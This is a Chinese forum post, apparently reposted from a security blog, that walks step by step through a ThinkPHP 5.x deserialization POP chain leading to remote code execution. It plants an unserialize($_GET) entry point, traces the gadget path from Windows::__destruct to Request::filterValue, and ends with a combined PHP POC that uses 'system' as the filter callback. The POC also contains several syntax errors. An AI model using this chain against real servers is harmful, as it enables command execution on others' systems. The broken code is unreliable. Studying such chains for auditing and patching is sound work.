本帖最后由 ivi 于 2023-9-17 20:10 编辑
衡阳信安 2023-09-17 00:01 发表于湖南
看见很多的文章在复现反序列化漏洞的时候,都没有对POC的构造有很好的解析,感觉一直在跟进,然后大体写一下跟进过程中的利用点,然后最后给出POC。跨度有点大,跟不太上,于是自己弄明白打算写一篇比较详细的
构建入口:首先我们先来构造一个漏洞入口:在控制器index中写入一个get传参,并将其反序列化。 基本上算搭建完自己博客,就着tp5顺便来自己审一审pop链,看看自己能不能写出来: 首先我们先来构造一个漏洞入口:在控制器index中写入一个get传参,并将其反序列化。
- public function index()
- {
- $c = unserialize($_GET['c']);
- var_dump($c);
- return 'Welcome to ThinkPHP!';
- //fetch方法并不是controller命名空间下的方法,而是think命名空间下面的方法,所以我们要先引入think命名空间,才能够调用fetch方法;
- return $this->fetch('index');//这个地方模板文件是对应的文件名,不带文件后缀。
- }
复制代码
追踪链:然后我们全局搜索__destruct(),找到这个位置:thinkphp/library/think/process/pipes/Windows.php,
- namespace think\process\pipes;
- use think\Process;
- class Windows extends Pipes{
- public function __destruct()
- {
- $this->close();
- $this->removeFiles();
- }
- }
复制代码
我们跟进removeFiles(),
- private function removeFiles()
- {
- foreach ($this->files as $filename) {
- if (file_exists($filename)) {
- @unlink($filename);
- }
- }
- $this->files = [];
- }
复制代码
跟进file_exists,我们可以发现这个函数将对象解析为字符串,这个地方就可以触发tostring方法,全局搜索tostring(),在Conversion类里面找到这个方法. 关联类:然后我们来梳理一下如何在POC中将两个类连接起来的方法:
- namespace think;
- class Collection
- {
- public function __toString()
- {
- return $this->toJson();
- }
- }
复制代码
追踪链:跟进Json方法: - public function toJson($options = JSON_UNESCAPED_UNICODE)
- {
- return json_encode($this->toArray(), $options);
- }
复制代码跟进toArray(),仔细分析一下这一些代码: - // 追加属性(必须定义获取器)
- if (!empty($this->append)) {
- foreach ($this->append as $key => $name) {
- if (is_array($name)) {
- // 追加关联对象属性
- $relation = $this->getRelation($key);
- if (!$relation) {
- $relation = $this->getAttr($key);
- if ($relation) {
- $relation->visible($name);
- }
- }
复制代码我们跟进一下getRelation(): - public function getRelation($name = null)
- {
- if (is_null($name)) {//$name对应的是传过来的键,所以我们的poc不能为空
- return $this->relation;
- } elseif (array_key_exists($name, $this->relation)) {//传过来的键,不能在$this->relation数组中
- return $this->relation[$name];
- }
- return;
- }
复制代码
可以看到,这个函数,有三个分支(return),我们需要让代码往下走,所以if (!$relation)要为真,所以relation的返回值要为null,及getRelation函数返回值为return;然后我们继续往下走 - if (!$relation) {
- $relation = $this->getAttr($key);
- if ($relation) {
- $relation->visible([$attr]);
- }
- }
复制代码
这里继续对relation赋值,跟进getAttr: - public function getAttr($name, &$item = null)
- {
- try {
- $notFound = false;
- $value = $this->getData($name);//$key
- } catch (InvalidArgumentException $e) {
- $notFound = true;
- $value = null;
- }
- // 检测属性获取器
- $fieldName = Loader::parseName($name);
- $method = 'get' . Loader::parseName($name, 1) . 'Attr';
- if (isset($this->withAttr[$fieldName])) {
- if ($notFound && $relation = $this->isRelationAttr($name)) {
- $modelRelation = $this->$relation();
- $value = $this->getRelationData($modelRelation);
- }
- $closure = $this->withAttr[$fieldName];
- $value = $closure($value, $this->data);
- } elseif (method_exists($this, $method)) {
- if ($notFound && $relation = $this->isRelationAttr($name)) {
- $modelRelation = $this->$relation();
- $value = $this->getRelationData($modelRelation);
- }
- $value = $this->$method($value, $this->data);
- } elseif (isset($this->type[$name])) {
- // 类型转换
- $value = $this->readTransform($value, $this->type[$name]);
- } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
- if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
- 'datetime',
- 'date',
- 'timestamp',
- ])) {
- $value = $this->formatDateTime($this->dateFormat, $value);
- } else {
- $value = $this->formatDateTime($this->dateFormat, $value, true);
- }
- } elseif ($notFound) {
- $value = $this->getRelationAttribute($name, $item);
- }
- return $value;
- }
复制代码
我们先关注函数最后返回的是什么值,这里返回了$value,那我们就重点关注$value的走向,先跟进第五行的getData函数: - public function getData($name = null)
- {
- if (is_null($name)) {
- return $this->data;
- } elseif (array_key_exists($name, $this->data)) {
- return $this->data[$name];
- } elseif (array_key_exists($name, $this->relation)) {
- return $this->relation[$name];
- }
- throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
- }
复制代码
键值对关系:所以我们现在来梳理一下键值对的关系: append(键值对)->foreach对应key=>name(数组)->relation->getRelation($name对应key)->return relation为空->getAttr($name对应key)->getData($name对应key)->data[$name] 所以: - if (!$relation) {
- $relation = $this->getAttr($key);
- if ($relation) {
- $relation->visible($name);
- }
- }
复制代码
$relation返回的值对应的是$relation=data[$name] 追踪利用可控参数:在我们调用方法的时候,我们要选择带有实际参数的方法,这样我们才能够控制
- public function __call($method, $args)
- {
- if (array_key_exists($method, $this->hook)) {
- array_unshift($args, $this);
- return call_user_func_array($this->hook[$method], $args);
- }
- throw new Exception('method not exists:' . static::class . '->' . $method);
- }
复制代码
这里我们的method对应的是不存在的方法visible,args对应的是name的值,进入if语句中,我们知道我们还要定义一个hook的值,其中还要包括键名visible。 但是下面有一个array_unshift函数,会对我们args的变量值进行改变,所以我们无法直接通过calluserfunc函数进行rce。 array_unshift: 在数组开头插入一个或多个单元
而是将hook[$method]指向一个函数,然后再从我们指向的函数中寻找危险函数,这样hook就做了一个桥梁的作用 我们查找call_user_func()危险函数,看看有哪个函数中包含这个危险函数我们能进行利用。
但是这里input是形参,不可控,所以我们继续寻找调用input方法的位置:
param中name也是形参,我们再找调用param方法的地方
参数设置:接下来我们就要设置我们对应的危险函数和value的值了:调用isAjax,设置一个var_ajax的值对应param中的$name值,所以input中$name可控,同时这里还能获取到get传参过来的值赋值给$this->param。 所以input中对应的可控参数就是data=[]->$this->param,$name=config['var_ajax']=null,这里可以直接跳过input里面对$name的判断,不用跑getData函数对data的处理了: - if ('' != $name) {
- // 解析name
- if (strpos($name, '/')) {
- list($name, $type) = explode('/', $name);
- }
- $data = $this->getData($data, $name);
- var_dump($data);
- if (is_null($data)) {
- return $default;
- }
- if (is_object($data)) {
- return $data;
- }
- }
复制代码
- if (is_array($data)) {
- var_dump($data);
- array_walk_recursive($data, [$this, 'filterValue'], $filter);
- if (version_compare(PHP_VERSION, '7.1.0', '<')) {
- // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
- $this->arrayReset($data);
- }
复制代码
这样我们的filterValue中利用的危险函数data和filter就都可控了. poc构造:看着网上的poc自己理解着敲了一遍: 先写链子的入口,跳转到romoveFile(),使用foreach(所以files要定义为一个数组)通过files跳转到Conversion里面的toString()方法,所以这里我们首先要做的就是将files把Conversion和Windows这两个类联系起来: - <?php
- namespace think\process\pipes;
- //下面两个引用是用来关联的,实例化Pivot时需要使用命名空间,然后Pivot中又通过引用Model类命名空间,引用Conversion
- use think\model\Pivot;
- use think\model\concern\Conversion;
- //触发destruct以后调用removeFiles()
- class Windows extends Pipes
- {
- private files=[];
- public function __construct{
- $this->files=[new Pivot()];
- }
- }
复制代码
我们需要将windows和Convertion两个连接起来,其中Model中使用了Conversion的命名空间,Pivot继承了Model,所以我们就可以通过Pivot()联系Conversion; - //关联到Pivot以后再关联Model
- namespace think\model;
- use think\Model;
- class Pivot extends Model
- {
- }
- //在Model中引用了Conversion命名空间,所以Conversion里面的值我们要在Model里面进行设置。
- namespace think;
- use InvalidArgumentException;
- use think\db\Query;
- abstract class Model
- {
- protected $append=[];
- private $data=[];
- //这里是toArray()里面的以$key为中心的操作
- function __construct{
- $this->append=["Ic4_F1ame"=>["1"]];
- $this->data=["Ic4_F1ame"=>new Request()];
- }
- }
复制代码进入Request()中触发__call方法,我们需要用hook这个桥梁联系起来其他的函数,call传过来的两个参数是visible,和$name,这个位置需要用hook[$method]与我们上面分析的isAjax()连接起来,注意config这里我们是因为调用实参才使用的,并不需要我们进行传什么值,设置为空即可,否则后面代码中的$data不能够成功传入我们的危险函数当中。 - namespace think
- use think\facade\Cookie;
- use think\facade\Session;
- class Request{
- protected $hook = [];
- protected $filter = "system";
- protected $config = ['var_ajax'=>'',];
- function __construct(){
- $this->hook = ['visible'=>[$this,"isAjax"]];
- $this->$filter = "system";
- $this->$config = ['var_ajax'=>'',];
- }
- }
复制代码最后我们序列化windows,以它为起点生成序列化字符串: - use think\process\pipes\Windows;
- echo urlencode(serialize(new Windows()));
复制代码
合并一下: - <?php
- namespace think\process\pipes;
- //下面两个引用是用来关联的,实例化Pivot时需要使用命名空间,然后Pivot中又通过引用Model类命名空间,引用Conversion
- use think\model\Pivot;
- use think\model\concern\Conversion;
- //触发destruct以后调用removeFiles()
- class Windows extends Pipes
- {
- private files=[];
- public function __construct{
- $this->files=[new Pivot()];
- }
- }
- //关联到Pivot以后再关联Model
- namespace think\model;
- use think\Model;
- class Pivot extends Model
- {
- }
- //在Model中引用了Conversion命名空间,所以Conversion里面的值我们要在Model里面进行设置。
- namespace think;
- use InvalidArgumentException;
- use think\db\Query;
- abstract class Model
- {
- protected $append=[];
- private $data=[];
- //这里是toArray()里面的以$key为中心的操作
- function __construct{
- $this->append=["Ic4_F1ame"=>["1"]];
- $this->data=["Ic4_F1ame"=>new Request()];
- }
- }
- namespace think
- use think\facade\Cookie;
- use think\facade\Session;
- class Request{
- protected $hook = [];
- protected $filter = "system";
- protected $config = ['var_ajax'=>'',];
- function __construct(){
- $this->hook = ['visible'=>[$this,"isAjax"]];
- $this->$filter = "system";
- $this->$config = ['var_ajax'=>'',];
- }
- }
- use think\process\pipes\Windows;
- echo urlencode(serialize(new Windows()));
复制代码
最后payload是get和post传参得到结果:
-get传参给$param,以$data传递给filterFile,最后作为call_user_func的参数
-post是序列化字符串,其中的filter是我们可控的,最后作为call_user_func的回调函数,执行我们的危险命令。
|